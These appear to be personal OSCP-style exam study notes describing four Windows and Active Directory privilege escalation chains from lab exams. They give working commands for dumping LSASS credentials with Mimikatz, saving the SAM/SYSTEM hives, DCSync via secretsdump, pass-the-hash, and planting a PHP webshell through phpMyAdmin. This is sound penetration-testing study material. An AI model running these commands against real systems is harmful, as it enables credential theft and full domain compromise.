PrivEsc Vectors

AD — Privilege Escalation Vectors


1. SeDebugPrivilege → LSASS Dump → Administrator Credential Extraction → Lateral Movement to Internal

Seen in: Exam C (External)
OS: Windows (domain-joined workstation)
Starting user: low-priv domain user (assumed breach)

Discovery Steps

  1. whoami /priv → SeDebugPrivilege: Enabled
  2. SeDebugPrivilege allows attaching a debugger to any process, including LSASS

Exploitation Steps

  1. Dump LSASS with Mimikatz:
    privilege::debug
    sekurlsa::logonpasswords
    
    Alternatively: procdump.exe -ma lsass.exe lsass.dmp → transfer dump and parse offline with pypykatz or Mimikatz
  2. Extract NTLM hash or cleartext password for a higher-privileged account (local admin, cached domain admin, or service account)
  3. Use extracted credentials to pivot to Internal: nxc smb $INTERNAL -u $USER -p $PASS or nxc smb $INTERNAL -u $USER -H $HASH

Notes


2. SeBackupPrivilege → SAM/SYSTEM Hive Backup → Local Hash Dump → Credential Reuse on Internal

Seen in: Exam B (External)
OS: Windows (domain-joined workstation)
Starting user: low-priv domain user (assumed breach)

Discovery Steps

  1. whoami /priv → SeBackupPrivilege: Enabled
  2. SeBackupPrivilege allows reading any file bypassing ACL (as if holding backup rights)

Exploitation Steps

  1. Save registry hives using SeBackupPrivilege:
    reg save HKLM\SAM C:\Temp\sam.hive
    reg save HKLM\SYSTEM C:\Temp\system.hive
    
  2. Download hive files to Kali (via evil-winrm download command or SMB staging)
  3. impacket-secretsdump -sam sam.hive -system system.hive LOCAL → dumps local user NTLM hashes
  4. Pass-the-hash or crack hashes offline → obtain local administrator credentials
  5. Use credentials to access Internal: nxc smb $INTERNAL -u Administrator -H $HASH

Notes


3. Exposed SMB Backup Files on Internal → secretsdump → High-Privilege AD Account → DCSync → Domain Admin (DC)

Seen in: Exam C (Internal → DC)
OS: Windows Server (domain member → Domain Controller)
Starting user: credential pivot from External

Discovery Steps

  1. Access Internal via SMB using credentials from External dump
  2. nxc smb $INTERNAL -u $USER -p $PASS --shares → enumerate shares; identify non-standard share with backup files
  3. smbclient //$INTERNAL/$SHARE -U $USER%$PASS → browse share; find SAM/SYSTEM hive backups or NTDS artifacts

Exploitation Steps

  1. Download backup files from the share
  2. impacket-secretsdump -sam sam.hive -system system.hive LOCAL → dumps credential material from backup
  3. Identify an account with excessive AD permissions (DCSync rights, Domain Admins membership, or WriteDACL on domain object)
  4. DCSync from Kali: impacket-secretsdump -just-dc-ntlm oscp.exam/$USER:$PASS@$DC_IP → dumps all domain NTLM hashes including Administrator
  5. Pass-the-hash to DC: evil-winrm -i $DC_IP -u Administrator -H $HASH → Domain Admin shell
  6. Retrieve proof.txt from C:\Users\Administrator\Desktop\

Notes


See Also

4. XAMPP/phpMyAdmin on Port 80 → PHP Webshell → Local Admin Group Add → Admin Shell

Seen in: Exam G (External)
OS: Windows (domain-joined workstation, XAMPP stack running)
Starting user: low-priv domain user (assumed breach)

Discovery Steps
  1. whoami /priv → nothing exploitable (no SeDebugPrivilege / SeBackupPrivilege in this instance)
  2. nmap shows port 80 open on WS26 alongside 135, 139, 443, 445, 3389
  3. gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt → discovers /phpmyadmin
  4. Browse to http://$IP/phpmyadmin → phpMyAdmin login page (XAMPP default install)
Exploitation Steps
  1. Log in with assumed breach credentials or test blank MySQL root password (XAMPP default)
  2. In phpMyAdmin, run SQL to write a PHP webshell to the XAMPP webroot:
    SELECT '<?php system($_GET["cmd"]); ?>'
    INTO OUTFILE 'C:/xampp/htdocs/shell.php'
    
  3. Browse to http://$IP/shell.php?cmd=whoami → confirms RCE
  4. Use webshell to add current user to local Administrators:
    http://$IP/shell.php?cmd=net+localgroup+Administrators+r.andrews+/add
    
  5. Re-authenticate via evil-winrm or RDP — now running as local admin
  6. Retrieve proof.txt from C:\Users\Administrator\Desktop\
Notes